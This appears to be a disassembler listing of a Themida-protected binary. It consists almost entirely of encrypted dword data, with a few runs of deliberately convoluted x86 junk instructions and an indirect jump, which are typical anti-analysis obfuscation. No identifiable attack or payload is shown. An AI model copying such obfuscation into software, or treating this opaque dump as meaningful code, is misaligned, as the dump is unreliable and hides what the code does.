dd 32DE848Fh, 4FB8E16Ch, 0FAA46C19h, 0A2FC156Ah, 0B548EE17h
dd 0E6932389h, 0AAEA32FFh, 0E6932B8Eh, 5A0059FFh, 0D53B1FD9h
dd 0B11A848Dh, 69A7C47Bh, 305AAA35h, 7C1FB9DCh, 7D2AD006h
dd 3B7B0B93h, 0E6FFBC1Fh, 0EB91EAFFh, 0B4F43C58h, 0E6FF3598h
dd 5C025BFFh, 0D33D21DBh, 572195CBh, 23FFE708h, 0BCD13E93h
dd 539DCB5Ah, 0B33EA736h, 7BDEFA8Ah, 0A9FFE72Fh, 9FDAAA50h
dd 3F387537h, 0FFFFFE9Ah, 0A967BCD0h, 4274FFE4h, 4DB6D062h
dd 0CF399C2h, 36Fh, 326CA7A5h, 83247BA7h, 0B8E1FFE6h, 69F91AFEh
dd 0FE8EF7A7h, 6AC027D4h, 0E827090Fh, 99022BB6h, 0B08B5F3h
dd 78B80893h, 4F3A0C4Eh, 309C6048h, 0FFE759CDh, 80F49AF3h
dd 0FFE75929h, 0BD90BEE8h, 5208FED3h, 8A14FFACh, 0BDA3E6FFh
dd 0E59A112Dh, 0CFF907E6h, 7D96597Eh, 70E5A721h, 4B46BF39h
dd 0ABC95789h, 0A563BC05h, 9E61572Bh, 0DA1EBDF8h, 0E5000005h
dd 8A376D31h, 33E01688h, 0D986BCE2h, 85326836h, 0A8DC128Ch
dd 99050CF3h, 405EB663h, 0EBB35D0Ah, 930B08B5h, 1A368E5Dh
dd 7E66CB7h, 0A7C077DDh, 591EF66Ch, 0E683DA3Dh, 46AF08FFh
dd 83379AB6h, 45DFFE6h, 66AB109Bh, 8392F511h, 67C0FFE6h
dd 0F81BC8FEh, 90F9A56Ah, 3A64AD5Ah, 0D7C74AAFh, 0BEE8304Ch
dd 5C78EA4Bh, 0FFE6E2F9h, 0B154CE27h, 0DE5F05F2h, 0CDD14024h
dd 0F48FC797h, 782D3874h, 0BE000002h, 3BC69AF3h, 0D582960Fh
dd 5B43CCFEh, 0B8AA6BD0h, 8FB8435Bh, 20499B26h, 0C159BE66h
dd 0E8C5A597h, 32D80A84h, 0B8F0F7B1h, 5637630Bh, 247h
dd 8A9AF3E7h, 20B01985h, 0CD5846CBh, 8C12FFA4h, 9A32D801h
dd 0E6831B7Eh, 65F049FFh, 0D582C039h, 0C78102FEh, 399CB8F8h
dd 67FED581h, 0F8A6690Eh, 0CE9E446Dh, 37638996h, 20A34h
dd 9AF3C500h, 8D18868Ah, 4DB6E828h
dd 0F81454E4h, 0FFE68395h, 0C2CE7F82h, 8DCE1F7Ah, 0F6811DF8h
dd 51BF64CDh, 0F399C24Dh, 18E03F5Bh, 0A5FEFFE7h, 1775EE1Ah
dd 24EBFED6h, 878AEF7Ah, 113A8C17h, 0B24AAF57h, 5FEAB45Dh
dd 550F9036h, 0E8DD5C86h, 6801EF5h, 18BE9B6Ah, 629C1048h
dd 1A9AE37h, 0F33F0000h, 0F636C69Ah, 0E68377DAh, 9F449DFFh
dd 0EB832975h, 0E68374CFh, 0AE3992FFh, 0D5820982h, 7C36B7FEh
dd 0EE516DADh, 14FED580h, 7F0A947Fh, 7747ED56h, 3763893Fh
dd 16EDDh, 6CA76E00h, 0F6811DF6h, 89D964CDh, 34BFDF34h
dd 5BB8650Bh, 0DDAC0D43h, 4EC9F383h, 9BC391CEh, 0A3596006h
dd 3CA5B351h, 48E2FE96h, 5E07E0D7h, 0E74E7A05h, 0F107E085h
dd 0A5332F59h, 994B576h, 5928E263h, 5ABDD919h, 8807E08Eh
dd 8E60C32Fh, 2D8607E0h, 967FB787h, 441D406Eh, 0AE000000h
dd 3ACA96F3h, 9B3AD0FAh, 91334E7Dh, 0AF29E8D5h, 3FE5F491h
dd 0E106FDCBh, 8B85DA07h, 8F246D13h, 29B41D81h, 4C7FAFD9h
dd 0AA247A97h, 52F82FA4h, 0E12977DEh, 46008107h, 6F35073Fh
dd 9BA540h, 0BC360000h, 1B8C527Ch, 159ADCFh, 0E7533295h
dd 610760FFh, 0B43F5FB4h, 51DCC24Fh, 0EC7727ECh, 0DC128C87h
dd 0E757D268h, 0B95CB1FFh, 81923FE5h, 386E71Dh, 0DBB1CD5Dh
dd 707E436h, 92FBA372h, 3A64AD02h, 0E4BA5704h, 62635E26h
dd 95346F9Eh, 359h, 0B8EEB066h, 6197070Bh, 73D61B4h, 0B3E9B55Ah
dd 5D930B06h, 868B7429h, 0DF35E218h, 34DC89BFh, 8C87346Ah
dd 0B50DDC12h, 0E66E3699h, 3FF65C07h, 1AF86AA7h, 38E51B84h
dd 1D809CDBh, 43FFE683h, 0D4CA45EAh, 81B72049h, 326CA7CAh
dd 120257A7h, 0DA39E68Ch, 0A1F68EC4h, 10842A74h, 0FFE683AAh
dd 797C9C0h, 19D72C7h, 33A74D76h, 7E08C49h, 8816F94Eh
dd 0E52ED4FDh, 0A79F568Ch, 62A2326Ch, 0E682E346h, 12B811FFh
dd 3BDA2F7Fh, 310BD63h, 8504659Bh, 833598B4h, 0DB5BFFE6h
dd 0E6835CBFh, 0C8318AFFh, 738FCF5Fh, 0FFE68310h, 9F37DD36h
dd 0E0ADE983h, 19A4FD07h, 0E0AD86EDh, 550F9007h, 6EB5164Eh
dd 36B440h, 0F3450000h, 0E53ACA96h, 7D85D30h, 0F3179F1Bh
dd 304CE48Ah, 7E12A62h, 709C2780h, 7E11909h, 0D1D89213h
dd 406F2599h, 0C1244080h, 0EF07E10Dh, 0C30FF096h, 0A0000000h
dd 0A2326CA7h, 0A2703862h, 78D124B3h, 0E6CAA90Ch, 0D87ED7FFh
dd 6D31E045h, 8967DE2h, 3DD82D7Dh, 50EBB61h, 59EF6399h
dd 36FFE6CFh, 0DF3230E1h, 0A20B34BFh, 9B48EE17h, 43F02678h
dd 0F1CBDD0h, 46D3F25Fh, 0AD0252DDh, 82AB3668h, 2B0E7BDCh
dd 0E6CDAC0Fh, 1881DAFFh, 0E2866C88h, 3B6507E0h, 27B71E74h
dd 8CD57B29h, 0ED9CFD33h, 0EBC7E373h, 130FDE04h, 3CD52ABAh
dd 927F2C62h, 15AC4E0Ch, 528D9998h, 1D0B3h, 7727EF00h
dd 207E9441h, 0C6D83DEAh, 722CE390h, 1C828F3Ch, 16FDB2E6h
dd 0C06DA3FBh, 67144A54h, 12BFF5A9h, 98679D01h, 70C12440h
dd 89EF07E6h, 346AA7D2h, 0DCC251FEh, 96F3EFA6h, 501E3ACAh
dd 4E07E09Ch, 0C51A6AF5h, 9FC8534Bh, 9B1E85F9h, 0A72807E0h
dd 0A7AEE6EDh, 0C84C406Eh, 0DD000000h, 0A2326CA7h, 36DCC24Dh
dd 0CBD33EA3h, 779BF040h, 0CD739C27h, 0E687C359h, 0F6A86BFFh
dd 9E0013C0h, 4658B90Eh, 59EC92BBh, 87174940h, 3B9FF85Dh
dd 0B1577503h, 8417FD19h, 0EA4307E1h, 627F305Ah, 49E81CC2h
dd 0E0E1CA2Dh, 369FF807h, 98F15290h, 0E11C38C8h, 0FF0FDDC0h
dd 5AB7AB6Ah, 2790B944h, 38D92EBEh, 2BB6E82Ah, 0B6639902h
dd 0E985435Bh, 0BA9998E9h, 0F7E07Fh, 4EC80000h, 0A56D1A50h
dd 0FF16C3F9h, 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh
dd 0EB217D97h, 96CCD23Eh, 3E742AE9h, 98FB176Fh, 0BE07E671h
dd 6AA7A158h, 4864A434h, 0FFE682E5h, 0CE0CB20Bh, 76ACF221h
dd 138B89DEh, 6CF7A76Eh, 0A7E69D43h, 42A7326Ch, 1970BCD1h
dd 6AFD16B3h, 1F6ACB01h, 0C94A8630h, 0FC18F6EBh, 0FFE6F099h
dd 9C056EC7h, 0D375F00Ch, 0F24B07E6h, 0BBD71767h, 7E61258h
dd 18A3FB1Ah, 0AF55AEEFh, 578D1102h, 0F20E69AAh, 7E6128Fh
dd 2C00E97Ch, 0FC3D67E9h, 0CBA98892h, 359EE24Ah, 0B1F141CCh
dd 0E5DB3295h, 61076007h, 0E8A147EDh, 28E21B81h, 99CFCF44h
dd 0EC7727ECh, 8B168887h, 29B4EA26h, 0C5504EC4h, 0A8500A33h
dd 0FF3ADD6h, 0B7649A04h, 5DB2425Ch, 365FEAB4h, 911C8291h
dd 0DF2FC268h, 2020839Fh, 0ED467DE4h, 36047h, 0BBF90000h
dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h
dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h
db 85h, 52h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
push esi
mov esi, 4
sub ebp, esi
pop esi
xchg ebp, [esp]
pop esp
push 322Bh
mov [esp], esi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push edx
push ebx
mov ebx, 41B66142h
sub ebx, 7BFA5A11h
not ebx
inc ebx
inc ebx
sub ebx, 32441584h
mov edx, ebx
pop ebx
mov esi, edx
pop edx
push esp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
pop dword ptr [ebp+8]
push dword ptr [esp]
pop ebp
add esp, 4
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
db 0D9h
; ---------------------------------------------------------------------------
push edx
add cl, [eax+edi*4+7FFEF3Dh]
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 5A2E18A0h, 1714766Fh, 71D9CFE9h, 5BCA95C1h, 0D3EE73Bh
dd 1C69969Ch, 4160F67Bh, 31BAFB31h, 6CBE426Eh, 54E564A7h
dd 798AFE30h, 23531CD5h, 5DAB3CA4h, 708A9B3Eh, 10DB1D2Eh
dd 7347D7Eh, 54FD1BE8h, 79D2AA5Bh, 48E9h, 3E301F00h, 2Eh
dd 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h
dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h
dd 6 dup(0)
dd 0B0CE900h, 0AE680000h, 0E907FFF1h, 0FFFA8E88h, 0FFF2BA68h
dd 8E7EE907h, 0A968FFFAh, 0E907FFF3h, 0FFFA8E74h, 0FFF46368h
dd 8E6AE907h, 3568FFFAh, 0E907FFF5h, 0FFFA8E60h, 0FFF61E68h
dd 8E56E907h, 0B468FFFAh, 0E907FFF6h, 0FFFA8E4Ch, 0FFF8B568h
dd 8E42E907h, 0C468FFFAh, 0E907FFF9h, 0FFFA8E38h, 0B4EAB462h
dd 5D930B07h, 33965B0h, 0AFE5B956h, 598F0F02h, 8A877025h
dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E6733295h
dd 43FA6007h, 3ACA96F3h, 0E673F01Eh, 0BB59EE07h, 0CA336BA7h
dd 6539DA3Fh, 0AE0393FCh, 7FA93965h, 97B3A486h, 7E59D34h
dd 2A8F0962h, 9AD87E45h, 16BED802h, 0FC99A801h, 92ED506Ch
dd 0BA1307E5h, 0F2AC6714h, 0BBD71767h, 7E59358h, 7995257Eh
dd 7E59316h, 0DC3DE33Ch, 0E323B3ADh, 8E19858Eh, 4BBF65h
dd 0D70FE583h, 1B376D97h, 0EAEB967Ah, 0E6E51B7Eh, 4AF049FFh
dd 0C318A801h, 6B184E50h, 526BF6A8h, 83E60237h, 0B1FFE6E5h
dd 0E5B21531h, 87E0FFE6h, 0F728E1Eh, 35FFE6E5h, 0A3E373DCh
dd 5D041A79h, 50F5B0A1h, 2851DCC2h, 0D3AC0E82h, 368B07E0h
dd 113AC5D9h, 0BC9226Bh, 9E64514Eh, 0F147E621h, 55000008h
dd 0FAA7DDC1h, 0A3508618h, 49F62C72h, 0F5A2D8C6h, 184C821Ch
dd 9957C63h, 0B0EE26D3h, 5B43CD7Ah, 39B7825h, 8AA6FECDh
dd 7E67427h, 0A730E74Dh, 42A7326Ch, 3697CDD1h, 3D7D0D53h
dd 0A1C85E13h, 8F3438E0h, 3771D81h, 7E15D69h, 3F94247Dh
dd 9023C9D5h, 0E107FD64h, 0CC860707h, 6F108DC5h, 2C2B40h
dd 0F3BC0000h, 0E53ACA96h, 35CD732Bh, 0E09C4B19h, 73FE5707h
dd 0E09AE047h, 0AF69EA07h, 6EA770A8h, 0BF0E40h, 69BE0000h
dd 3F68F3ABh, 6CA7E299h, 0CF42A732h, 34DF44CFh, 997ADF6Ah
dd 0F3207505h, 0A2EE5F9Ah, 359EBB4Ah, 73DD518Fh, 0BFFE6B8h
dd 0B3609608h, 63B33E60h, 1209CF39h, 0E0FC5BCFh, 0FFE7557Dh
dd 3BE14AA3h, 21B1AFDAh, 0E1766705h, 84BA1307h, 257997ECh
dd 0E46B1E7Fh, 908E464Bh, 0EB7BE4AEh, 0DD8A8CCFh, 0D161BA0Fh
dd 43CD957Ch, 43ACF21Fh, 0F0268FB8h, 12D0CE43h, 9998983Dh
dd 0E544E31Eh, 61000007h, 6B3E9B5h, 0AF5C920Ch, 55023866h
dd 1AEE4BAh, 24588E10h, 1589886Fh, 0BCE232DFh, 6737D986h
dd 0F8F8431h, 96B20AD9h, 7E67533h, 0A744FB61h, 51FE346Ah
dd 0EA6DCC2h, 9F4559B9h, 0A967BCE8h, 9B416AF5h, 81114F3Ah
dd 0E09B9765h, 0F11F7407h, 53F922ADh, 0FA26B10Ah, 7E09B93h
dd 0A9C5059Dh, 7E09B46h, 0EC6D136Ch, 0A6F32B32h, 0CF91406Eh
dd 22000000h, 0A2326CA7h, 4DD8C64Dh, 86EB7E24h, 5C88138Bh
dd 0FFE686F2h, 0D9C54CA1h, 118D8633h, 25EE43DBh, 0ED26D379h
dd 81D626B1h, 8690F8Fh, 334FDF81h, 7E0A795h, 16888DE2h
dd 73BC628Bh, 683E41Ah, 608ACA5Ah, 79BD7E7Ah, 67E0BC79h
dd 0B40FBA34h, 0F549BD63h, 210FDD8Bh, 0AC15898Ch, 544AC71Ch
dd 0F9A56FC4h, 55E0BE54h, 9B48862Ch, 0C36A2876h, 6C9998AAh
dd 6F69231h, 0C6500000h, 1DF5A2D8h, 779E4B81h, 0CB44F127h
dd 21F09DD3h, 5E13477Dh, 0CC029C75h, 73A9F51Fh, 1E544AC6h
dd 0C6FCA271h, 20839FF7h, 4607E676h, 92BC29E0h, 0DD3E25FBh
dd 0A1B720AEh, 9EB04AFAh, 2FE28F35h, 0A9C92C48h, 62F7FFE6h
dd 1C85EEB0h, 0C4DA39E6h, 6CA7D78Eh, 0D142A732h, 0A8FD3DCDh
dd 81AA3569h, 0E683B215h, 0F787E0FFh, 0E68378DBh, 9F459EFFh
dd 8386ED61h, 0ED9CFFE6h, 37C2DC37h, 0FF627E0Eh, 25FFE682h
dd 0B7D363CCh, 7E6737Fh, 297E0E67h, 0C82DB8E6h, 47ED5648h
dd 0E5B95AAFh, 8D1102AFh, 0C0A0E902h, 0A01A1430h, 6FC80FE0h
dd 9B8382B1h, 0CF6EA999h, 63Ch, 5C920C0Ah, 53B63AFh, 0ABE1BD58h
dd 578D11FEh, 13767AAh, 0E22F18CDh, 3BD986BCh, 90802D63h
dd 0E82BD80Eh, 59B180B6h, 0E677DA3Dh, 0EBA20807h, 0A7326CA7h
dd 3DCDD142h, 1ACDD713h, 0BA606B0Ch, 20DA0B27h, 37C7D73Ch
dd 6478DBF7h, 459EFFE7h, 5991619Fh, 40387570h, 0D17727EBh
dd 7F0h, 8A6D8100h, 6000001h, 0E68379E0h, 110358FFh, 749D028Dh
dd 0BA1BC12Ah, 0C10191CFh, 0E68342A5h, 711770FFh, 737ABDD9h
dd 0EF1907E6h, 22748C31h, 87D07659h, 345E9E2Eh, 0ED23800Bh
dd 0FA3837B1h, 0DA39E68Ch, 37D98988h, 4A73FE67h, 0E913ABE1h
dd 4651170Eh, 47F49A73h, 2E47D2CCh, 5975055Bh, 0FE0985Fh
dd 0F96C2A83h, 5A999B9Ah, 56A801Fh, 3ADC0000h, 91812E64h
dd 0EB2AD70Dh, 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h
dd 0FF3569ABh, 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E678h
dd 6CA7BD74h, 0D142A732h, 0DE2642CDh, 0D4F08789h, 0FFE68371h
dd 52DD469Fh, 128C8429h, 37B85E87h, 247A997Dh, 8EE61EEEh
dd 0E843874h, 15000000h, 0BC6Dh, 44D02500h, 0A6CF5Ah, 0CA96F349h
dd 7BDEFA3Ah, 0A9FFE683h, 0F612AA50h, 7E673C8h, 8D301D47h
dd 16D4E973h, 0E5CE97FAh, 0FB64BD07h, 23B30C55h, 0F71D45CEh
dd 5B083EA7h, 156E6B8h, 0D9028D11h, 287A033h, 67B2CE5Eh
dd 2E0FE5BEh, 0BD633BD9h, 368B1B74h, 0F38BC1DDh, 0E804739Eh
dd 0FFE73E85h, 43E952ABh, 91217D96h, 24CAD43Ch, 4F117891h
dd 6741A3BFh, 0D06507E1h, 36F45D41h, 9E64CD29h, 8140DF1Ah
dd 0C5000004h, 6A174D51h, 13C0F6A8h, 0B9669C02h, 65124856h
dd 88BCF2ACh, 7925ECD3h, 207E9643h, 0CBD33DEAh, 732BE895h
dd 0FA166E3Dh, 7E67997h, 6DA057BDh, 109h, 0CA96F306h, 73F01E3Ah
dd 95EE07E6h, 3D61B005h, 31E489B2h, 0DA2FC76Dh, 822F6539h
dd 67CAE691h, 8D07E673h, 2740CB34h, 196EFE62h, 0F019A4FAh
dd 4B96B24Ah, 590FE663h, 0E9524CC4h, 8F0F0459h, 3668AAFFh
dd 6EA55290h, 0FD8CA530h, 55B7D363h, 8107E0ACh, 76EB6A28h
dd 9449E64h, 3EB6Ah, 0E3BB5B00h
db 0ADh, 0
word_5E2AFA dw 8C12h ; DATA XREF: Themida_:005A67A6o
dd 326CA956h, 0DEC04FFCh, 8816FBA8h, 82691E52h, 2CD90F8Fh
dd 0D380B6E8h, 7E2B613Dh, 4D30995h, 792D90ACh, 0ED5307E6h
dd 326CA736h, 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh
dd 5F4238h, 0F3D30000h, 1B838E96h, 830C6F8Bh, 0E13AFFE6h
dd 0CBCCE878h, 0F907E0D2h, 5ABB10A0h, 0D29E011Dh, 6BC407E0h
dd 0D44E7702h, 0F8816E3Eh, 0EA64C64h, 0B2425CB9h, 5BE6B85Dh
dd 0B64E8C32h, 0B02D6D8Ch, 8D3338DFh, 0E132B319h, 6987B07h
dd 0ACF223D0h, 5DC0DC1Ch, 8307E132h, 52F1842Ah, 344h, 607CBCEBh
dd 0FFE682FDh, 7724CA23h, 5FC2DE99h, 85FFE683h, 0D338C32Ch
dd 79CE5E40h, 1E5C029Ch, 71FCA271h, 6197070Ch, 47D78900h
dd 0CD9E8A1Dh, 29CFD67Bh, 15FC5191h, 0CEE34662h, 0B811FFE6h
dd 9B35A94Fh, 4707E0FAh, 0D03763EEh, 0DA07E0E9h, 7BD09F59h
dd 537C0797h, 0F1A5DDADh, 3B43406Eh, 0F3000000h, 0E13497B3h
dd 96207E0h, 96F3AC63h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h
dd 0A107E09Bh, 3CA12C72h, 213DC8D6h, 298E36F0h, 0AFE7EEA8h
dd 96406EA7h, 26CCD241h, 11A45h, 6CA7D600h, 0CF42A732h
dd 34DF44CFh, 99486C59h, 0E7411A7Dh, 75EF48FFh, 0B6D26FA5h
dd 0FFE76953h, 56BF2881h, 0FAA471C6h, 0B75CC154h, 0AB3668ABh
dd 5F891982h, 403159EEh, 0B0EE946Fh, 0E76CD23Ch, 3767ACFFh
dd 0DFBF5401h, 5BDA0454h, 0C8339EE0h, 4BD6C84Bh, 0B213B922h
dd 0D9C54DD7h, 0BA07775Fh, 0D13AD5E6h, 7727EC41h, 851DC3ECh
dd 0E0E48369h, 0C656AF07h, 0BCE23186h, 0E0DBED50h, 40BA1307h
dd 5EFA11B7h, 0CE0CB20Eh, 0B4441C6Dh, 0DDE9BC98h, 3A80EA0Fh
dd 669E7DDDh, 0A4F989F2h, 63FB316Dh, 5945CE23h, 0ED608AEDh
dd 0EF23B8FFh, 0F3A046AFh, 49C2801Eh, 92999883h, 1EAB857h
dd 0BA5C0000h, 1101AEE4h, 6BAA578Dh, 0BF50FD33h, 15FCA9DFh
dd 6A1F5389h, 0D80E9081h, 7FB5E92Bh, 2A603ED2h, 0D208967Dh
dd 2C8FAB03h, 5A07E67Bh, 7CBC3DF4h, 0E682FD60h, 50CA23FFh
dd 6B471504h, 6C19BF7Ah, 1469F9A5h, 89259FFFh, 3D93CC91h
dd 6B0341E7h, 19A4FA16h, 769D4AF0h, 0F33BF228h, 2487A396h
dd 52FFE683h, 0BC7279E8h, 59C2F56Eh, 42060F0h, 0FFE6EEA1h
dd 3ED176CFh, 622BA60h, 7E10738h, 56820D66h, 7E0F5EFh
dd 0EFBE78F9h, 99247A9Ah, 0C2FACA70h, 60406F02h, 0C2h
dd 326CA7F1h, 0DCC24DA2h, 0D33EA336h, 2EE63BCBh, 0B37CA70h
dd 0FFE687A1h, 366C32E1h, 89148A89h, 0B7471970h, 65B0B262h
dd 1C85AE39h, 0DCC2DE76h, 0A07E09Bh, 6F1A7BB1h, 994BAECAh
dd 207907E0h, 41D227B7h, 0A46DD25Dh, 53EB91FAh, 0DD78FC37h
dd 191EA0Fh, 0FAA46CC1h, 930B0A6Fh, 3AD7842Ah, 90812E64h
dd 9735500Eh, 0DB169998h, 0DB3Ch, 0F3AB6B00h, 9C0210BDh
dd 425CB966h, 0EEB05F0Ch, 98060BB8h, 92792E62h, 3CE91F7Fh
dd 0E390C6D8h, 8E3B712Dh, 14E31985h, 7C3DA0BCh, 0FD6307E6h
dd 0A967BC46h, 9B416AF5h, 457B23EEh, 0ED237B98h, 0DE032B55h
dd 19A4FA1Bh, 0F99E76F0h, 0DA435BB6h, 6CA77D34h, 7B78A232h
dd 43FBBE64h, 0B116A94Fh, 0A5063C62h, 0CDD140E4h, 73D6F242h
dd 0A1FFE73Dh, 0E676DF48h, 0E72D77CAh, 0B9449D07h, 4FDFBF54h
dd 890AE50Fh, 2A46D64Dh, 0E6405BBEh, 8A308907h, 2A749F4Ch
dd 2B254F9Fh, 0CDD14325h, 55630153h, 973D61B0h, 0A8285D23h
dd 3EF83131h, 6CA9B95Ah, 157EA732h, 0BDE132DFh, 5C42CD32h
dd 0F7A76CD1h, 900E076Ch, 0B973AC05h, 5C163F11h, 0CD039B78h
dd 20ABF320h, 381h, 5CBB1A00h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh
dd 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh
dd 85108E84h, 5D545552h, 4C581h, 0ED830000h, 242C8704h
dd 47E3685Ch, 0C890000h, 57E96824h, 1C890000h, 9BE5624h
dd 50670170h, 1B04C4B8h, 18D92D60h, 1B2D760Fh, 2540D507h
dd 401675E2h, 0F707E0C1h, 9A0535D0h, 0C629AF01h, 28CE8158h
dd 0C103112Fh, 0E68104E6h, 51EE441Ch, 0B0ABC681h, 0F189F6B9h
dd 1C8B545Eh, 4C48124h, 81000000h, 4ECh, 240C8900h, 2B243481h
dd 8F2C992Fh, 73810843h, 992F2B08h, 2434FF2Ch, 4C4815Bh
dd 8B000000h, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
dd 89E95C24h, 0C2FFFA83h, 0C4B8D975h, 307FFFAh, 0CEE0FFC5h
dd 0B6154846h, 5251DA55h, 0E92E50C9h, 8E0E0106h, 0DA3BB6DAh
dd 0BC6621F9h, 7C71E03Bh, 164B5291h, 64B2A3Bh, 963859BDh
dd 6E5AF01Dh, 7E4BE355h, 281E05BDh, 916968DBh, 0BA5F4320h
dd 614C07F6h, 49621D46h, 0E86CC9F5h, 0Bh, 0B69C08CFh, 28D4D420h
dd 0F3F7317h, 382h, 0D6B70F00h, 0C681FC5Eh, 6100h, 0D5709FB9h
dd 84D8BB2Fh, 0C3814F84h, 0B07B933Ah, 5F22B656h, 87BA068Bh
dd 8106CE97h, 1BB5FC0h, 817BB53Bh, 3C9761C0h, 0F4C08163h
dd 660C9448h, 689CF8Bh, 81F88B66h, 2CCA2EEEh, 800F607Bh
dd 5, 9E5EDABAh, 61C78B21h, 0CA2AC681h, 81667B2Ch, 81ED6AF1h
dd 1EBh, 11850F00h, 8B000000h, 36E9D1h, 46930000h, 69E50950h
dd 716DEF4Dh, 11E9h, 4F318A00h, 868CAE6Fh, 97F3E1E2h, 5AA88FA5h
dd 85E9CF27h, 0BFFFFFFh, 80C98B2Ah, 1EC87784h, 5C71C17Fh
dd 282B0EA6h, 12E9h, 0CB0D4700h, 62h, 2 dup(0)
dd 0E9000000h, 0BFBh, 0FFFE3C68h, 5876E907h, 1168FFFBh
dd 0E907FFFFh, 0FFFB586Ch, 8968h, 5862E908h, 7A68FFFBh
dd 0E9080001h, 0FFFB5858h, 47F68h, 584EE908h, 1D68FFFBh
dd 0E9080006h, 0FFFB5844h, 71968h, 583AE908h, 0B94EFFFBh
dd 26D67D04h, 0A561088Fh, 1EF0971Eh, 8C7920A7h, 0F14AE35h
dd 0B83F8683h, 44CBFA11h, 0D1586F9Dh, 5BE2D32Ah, 7B38B524h
dd 0DBEFE213h, 2CD56EA2h, 143C9AE0h, 4C7992B9h, 1CEDC401h
dd 926B0AA5h, 0E5259C23h, 0EEF471A8h, 42EF7CF0h, 0DA17AE5Bh
dd 6EA33E89h, 0EFDD00B5h, 0B10CD742h, 0E88332CAh, 2AD9CE87h
dd 0D11CFAB2h, 3A1A2994h, 4AB7D0AAh, 93000000h, 0E9205D9Dh
dd 4087836Ah, 0B01D5AA5h, 0EF7C1F7Eh, 6BD49E8h, 3AD5206Bh
dd 0DC2F4C05h, 0A36ED9EFh, 1CAB634Ah, 0E1DB2081h, 3FFBCD1Dh
dd 0C97E93F4h, 431BCB9Ah, 5EA89B06h, 8A33D0AAh, 239C175Ch
dd 0DD5693C1h, 0DDh, 259C6DB9h, 0C4FB07EEh, 0E815B487h
dd 9E491BBh, 236E441Ch, 0A110E988h, 2BB9C16Ah, 9313613Dh
dd 15E48356h, 0BAD8159Ch, 3EE7E287h, 888542BFh, 0AF5FE7E2h
dd 19327D18h, 87A865E2h, 0BD08E7E2h, 0AF5E3572h, 11E88F16h
dd 0B90EBF8Ah, 6FBA6530h, 0E82565D4h, 0BC3234B1h, 519CEF7Ch
dd 0D60B53CAh, 1E45229Fh, 9AE5F771h, 0E08D7C63h, 0B6019C25h
dd 0D431D06Bh, 0F665A2EDh, 0BE7BF877h, 1EF7D99Dh, 9DAD6AE7h
dd 0C20DF7D9h, 0A6633A77h, 14F1981Fh, 739E6FADh, 9F6A2F17h
dd 9AE5Ch, 5F56A900h, 0EAD931D8h, 7940BC63h, 2B54BF2h
dd 9029D47Bh, 0DE646F09h, 6C139A23h, 0F89F269Fh, 852CB302h
dd 7FB63D74h, 14D69310h, 0FD36EFE2h, 29906DC9h, 8E7C63A2h
dd 14519C37h, 6EF5CC3Dh, 205D9D72h, 1F3A6CE9h, 59A4EF7Ch
dd 0F3C23B22h, 0FDD00D58h, 0DC2F0FC8h, 9E1D9CEFh, 0DC2F6421h
dd 3C79C4EFh, 88BB16E1h, 49D0AA25h, 0AFh, 259C6D25h, 0C3FA07EEh
dd 0E914B386h, 58B299D0h, 4A87D26Dh, 0A0594077h, 4967D411h
dd 65E7E21Bh, 853CC994h, 0F85A033Ah, 232320D4h, 0F89F5E9Bh
dd 0A615B001h, 75F22966h, 0EF7D0373h, 940B92DDh, 63E01754h
dd 0F7714FBBh, 0AC93CA15h, 42FF7C51h, 0A2F7D9E2h, 0DE850C57h
dd 935C9A23h, 4D2F173Fh, 8D93F82h, 897E0000h, 0F606AD34h
dd 759138BFh, 0EE20C74Eh, 5CA950D7h, 5F44DE65h, 0E86F56B3h
dd 74FBCA41h, 1883FCDh, 8B12A35Ah, 0AB68E554h, 0BEFE215h
dd 906D9ED2h, 9549F229h, 0B1366192h, 0F3229F2h, 529D8A6Bh
dd 5EAF5615h, 6DE4E067h, 45EE259Ch, 0C72CA3C0h, 27FA37AFh
dd 9407188h, 9DDAEB22h, 0EA2767DEh, 0BD4D34B3h, 0A25CC906h
dd 0FCEF7CD0h, 867716B1h, 0F511F82Fh, 0EC378E7Ah, 0AC90651h
dd 0E41BAA63h, 0CAC56E3Bh, 0C906E908h, 2CD8BFF6h, 72AFFA95h
dd 58432605h, 743F5A83h, 0E26958B1h, 0BCF3C23Bh, 4503C03Dh
dd 18638360h, 0EAD108DBh, 0FA67A411h, 83604540h, 0C68F5AB5h
dd 58159237h, 0B8836045h, 0F49B226Dh, 0DC11AC05h, 72F7B2CCh
dd 3D08D3F6h, 0C76EF5CCh, 75E47F36h, 42C1F835h, 0DB18AF5Bh
dd 0FA79646Eh, 2CB3FE8Ah, 13875B5h, 0F4AB5E84h, 2AC51092h
dd 54AE3BF5h, 644BCA93h, 85E01D94h, 8C7C63BAh, 124F9A35h
dd 22AE9CA7h, 4C9357Ch, 0F8110000h, 5E93DBC4h, 1D0CAA27h
dd 63AEEF7Ch, 6C9BCD32h, 6FAFBCA3h, 287EFB32h, 0DAD44609h
dd 6FDA8B79h, 77897C6Bh, 0F5AA540h, 0E12C9570h, 7E49C3AAh
dd 885B98E3h, 0DB86D119h, 0DFDE1531h, 51CE0550h, 0DC40623Ah
dd 611E9BD2h, 0C1DCA072h, 0DF42B76h, 973EC5FCh, 4C114F66h
dd 0F8D45EAFh, 761EA2Dh, 1F60000h, 8E7E25ACh, 0FD09B037h
dd 66983FC6h, 0E421C84Fh, 0D7BC56DDh, 60E7DE2Bh, 0EC7342B9h
